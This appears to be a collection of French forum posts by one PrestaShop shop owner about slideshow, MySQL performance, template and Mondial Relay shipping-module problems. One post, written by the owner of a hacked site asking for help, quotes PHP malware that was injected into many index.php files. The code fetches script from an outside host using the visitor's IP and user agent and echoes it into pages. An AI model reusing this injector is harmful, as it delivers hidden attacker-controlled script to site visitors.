orussier

Bonsoir, les fichiers "index.php" modifiés sont dans les répertoires suivants : - /var/www/<repertoire_prestashop>/tools - /var/www/<repertoire_prestashop>/tools/languages - /var/www/<repertoire_prestashop>/themes - /var/www/<repertoire_prestashop>/css - /var/www/<repertoire_prestashop>/mails/fr - /var/www/<repertoire_prestashop>/translation/en - /var/www/<repertoire_prestashop>/modules - /var/www/<repertoire_prestashop>/modules/mondialrelay et plein d'autres ainsi que les fichiers : statshome dans /var/www/<repertoire_prestashop>/modules/statshome et SubDomain.php dans /var/www/<repertoire_prestashop>/classes note : le répertoire nommé "<repertoire_prestashop>" est le répertoire qui contient les fichiers de Prestashop. Pour être précis, le code php mentionné a systématiquement été rajouté à la fin des fichiers prestashop ci-dessus. Le serveur web est hébergé sur un serveur dédié virtuel donc je n'ai pas installé WordPress. Il semblerait que ce soit une personne mal intentionnée qui a la possibilité de modifier les fichiers à mon insu. Cordialement,

j'ai constaté la modifications de certains fichiers comme les fichiers "index.php" principalement dans différents répertoires. Du code à la fin des fichiers a été ajouté : <?php #e7f293# error_reporting(0); ini_set('display_errors',0); $wp_wzfc950 = @$_SERVER['HTTP_USER_AGENT']; if (( preg_match ('/Gecko|MSIE/i', $wp_wzfc950) && !preg_match ('/bot/i', $wp_wzfc950))){ $wp_wzfc09950="http://"."web"."basefont".".com/font"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_wzfc950); $ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_wzfc09950); curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_950wzfc = curl_exec ($ch); curl_close($ch);} if ( substr($wp_950wzfc,1,3) === 'scr' ){ echo $wp_950wzfc; } #/e7f293# ?> Du coup, le site affichait une page blanche. Quelqu'un aurait-il déjà eu ce genre de problème ? Si oui comment ? D'avance merci Cdlt.

Bonjour, Effectivement, c'est bizarre. Avec votre outil de FTP par exemple, si votre fichier ( "/classes/Tools.php" ) existe, pouvez vous vérifier les droits d'accès de celui-ci ? A vérifier aussi si des fichiers ont été modifiés depuis hier soir. Avec Filezilla, on peut faire une recherche en stipulant si la date est postérieure à '2014-01-19'. Cdlt,

Bon je viens de trouver l'origine du problème : j'avais installé le "bloc de recherche rapide" dans la colonne de gauche. Je l'ai transféré dans la colonne de droite et miraculeusement, le slide show refonctionne. Je ne comprends pas le rapport entre le déplacement du bloc de recherche de la colonne de gauche à droite mais visiblement ça influe sur le fonctionnement du slide show. Olivier

Bonjour, j'utilise le module "JQuerySlider Galery v1.2" sous Presatshop 1.4.8.2 dans lequel on peut définir jusqu'à 4 images qui défilent. Depuis peu, le slide show est figé sur la 1ère image et les petites icônes permettant de passer à la l'image précédente et suivante n'apparaissent plus. Si quelqu'un à une idée... Remarques : - je n'utilise pas le template par défaut de Prestashop - il a fonctionné correctement dernièrement D'avance merci Cordialement, Olivier

Bonsoir, un petit up Personne a été confronté à ce problème via un hébergement mutualisé ? D'avance merci Olivier

Bonjour, l'hébergeur m'a alerté sur un problème de bande passante très élevée lors de certaines requêtes MYSQL comme celle ci-dessous : > # Query_time: 2.837770 Lock_time: 0.000124 Rows_sent: 1 Rows_examined: 16229844 > SET timestamp=1334057720; > SELECT p.*, pl.`description`, pl.`description_short`, pl.`link_rewrite`, pl.`meta_description`, pl.`meta_keywords`, pl.`meta_title`, pl.`name`, p.`ean13`, > i.`id_image`, il.`legend`, t.`rate` > FROM `ps_product` p > LEFT JOIN `ps_product_lang` pl ON (p.`id_product` = pl.`id_product` AND pl.`id_lang` = 2) > LEFT JOIN `ps_image` i ON (i.`id_product` = p.`id_product` AND i.`cover` = 1) > LEFT JOIN `ps_image_lang` il ON (i.`id_image` = il.`id_image` AND il.`id_lang` = 2) > LEFT JOIN `ps_tax` t ON t.`id_tax` = p.`id_tax` > WHERE (`reduction_price` > 0 OR `reduction_percent` > 0) > AND (`reduction_from` = `reduction_to` OR (`reduction_from` <= '2012-04-10 13:35:17' AND `reduction_to` >= '2012-04-10 13:35:17')) > AND p.`active` = 1 > AND p.`id_product` IN ( > SELECT cp.`id_product` > FROM `ps_category_group` cg > LEFT JOIN `ps_category_product` cp ON (cp.`id_category` = cg.`id_category`) > WHERE cg.`id_group` = 1 > ) > ORDER BY RAND() LIMIT 1; La version de Prestashop utilisée est la 1.3.6.0 L'hébergement est mutualisé d'où l'alerte de l'hébergeur puisque ça pénalise le MYSQL des autres clients dont les BDD se trouvent sur ce serveur. Il s'avèrerait que la requête en exemple à pris près de 3 secondes à s'exécuter et à examiné 16229844 lignes (entre les jointures et les sous requêtes), ce qui est énorme. De plus, ce type de requêtes se reproduisent très fréquemment dans la journée (environ une fois toutes les deux secondes), ces dernières consommant énormément de ressources. Comment peut-on avoir Rows_examined: 16229844 ? La boutique contient 4680 articles actifs et 186 catégories. Si quelqu'un a une idée pour optimiser si besoin ? D'avance merci beaucoup. Cdlt, Olivier

Bonjour, utilisez-vous un template spécifique pour votre site internet ? si oui, essayer de mettre temporairement le template par défaut de Prestashop sur votre site ? Regardez si les points de relai s'affichent ou pas. Ceci vous permettra de savoir si c'est voter template qui est en cause ou pas. Cordialement, Olivier Russier

Bonjour Pascal7, Il faut aller vérifier le fichier order-carrier.tpl dans le répertoire "themes" puis le répertoire correspondant au template que tu utilises. Avant la ligne contenant " <div class="table_block"><br />" il faut vérifier que la ligne suivante soit présente : {if $HOOK_EXTRACARRIER || ($carriers && count($carriers))} Recherche la ligne : <td class="carrier_infos">{$carrier.delay|escape:'htmlall':'UTF-8'}</td> juste après cette ligne j'ai ajouté ceci : <td class="carrier_price"> {if $carrier.price} <span class="price"> {if $priceDisplay == 1}{convertPrice price=$carrier.price_tax_exc}{else}{convertPrice price=$carrier.price}{/if} </span> {if $use_taxes}{if $priceDisplay == 1} {l s='(tax excl.)'}{else} {l s='(tax incl.)'}{/if}{/if} {else} {l s='Free!'} {/if} </td> Juste après tu as le code suivant : {/foreach} Vérifie que les lignes suivantes sont présentes. Si elles sont absentes, tu les ajoutes : {/if} {$HOOK_EXTRACARRIER} Voilà grosso modo les modifs correspondantes aux transporteurs. Je te conseille avant de faire toutes modifs de sauvegarder ton fichier original avant Au cas où tout plante tu pourras facilement revenir en arrière.

Bonsoir, A vérifier : - que le mode compilation est actif et le cache inactif (fichier /config/smarty.config.inc.php avec $smarty->caching = false; et $smarty->force_compile = true; ) - quel template utilisez-vous ? si ce n'est pas le template standard de Prestashop, sélectionner le et essayer. J'ai eu ce souci dernièrement car j'utilisais un template acheté et qui ne comportait pas certains élément concernant les transporteurs et du coup, les points relais ne s'affichaient pas. Voilà quelques pistes... Olivier

Bonjour, voilà j'ai trouvé à quoi correspondait ce message d'erreur : There is an error number : 38 Details : Numéro de téléphone de l'expéditeur invalide C'est le n° de téléphone de la boutique qui n'était pas renseignée (expéditeur = boutique) !!! Merci pour l'aide apportée par ce forum et ses membres. Olivier

Bonsoir, j'ai bien installé la Mondial Relay v1.8.1 mais je suis en PS 1.3.6.0. et j'ai un message qui dit çà : Please take a look to this following warning, maybe the ticket won't be generated Expe_CP: Using a PrestaShop version less than 1.4, we can't validate the zipcode Ce module ne peut pas ignorer des versions antérieures de PS. Est-ce à cause de ceci que j'ai le message d'erreur suivant quand je tente de générer l'étiquette : There is an error number : 38 Details : Numéro de téléphone de l'expéditeur invalide Une boutique de test en PS 1.3.7.0 permet de générer les étiquettes MR (n° de tél identiques avec ceux de la boutique de production) Je n'y comprends plus rien. Auriez-vous une idée, une solution svp ? D'avance merci Olivier

@Vincent Schoener, un grand merci pour votre aide. Le template que j'utilisais était incomplet vis-à-vis des transporteurs. J'ai comparé avec le template de Prestashop par défaut et j'ai recopié le code manquant dans le template que j'utilisai pour la boutique. Maintenant, la boutique en production affiche les points relai. Ouf et encore merci. j'ai un autre problème maintenant pour la génération des étiquettes : There is an error number : 38 Details : Numéro de téléphone de l'expéditeur invalide Quel est le format attendu ? D'avance merci Olivier

Merci beaucoup car vous m'avez mis sur la piste. En fait le template que j'utilise entre mes deux boutiques est différent (la boutique de test est défini avec le template de Prestashop par défaut alors que la boutique en production utilise un thème acheté sur internet). Pour valider ceci, j'ai modifié le thème de la boutique de prod (en fait j'ai dupliquer la boutique de prod pour en faire une boutique de pré-prod) avec le thème de Prestashop par défaut et là ça fonctionne correctement. Donc c'est le pb des hook et là je sèche un peu. Quel hook est obligatoire pour faire afficher la liste des point relais de Mondial relay ? quels sont les fichiers concernées ? D'avance merci beaucoup. Cdlt, Olivier

Bonjour, j'ai installé le module MondialRelay 1.8.1 sur PS 1.3.6.0 et rien à faire la liste des relais ne s'affichent pas. Il manque le code javascript permettant d'afficher les points relai quand on sélectionne "Mondial relay". Sur un PS de test en version 1.3.6.0 et ce même module, ça fonctionne parfaitement. A priori ce n'est pas la version de PS qui pose problème. Auriez-vous une idée du problème ? D'avance merci pour votre aide. Olivier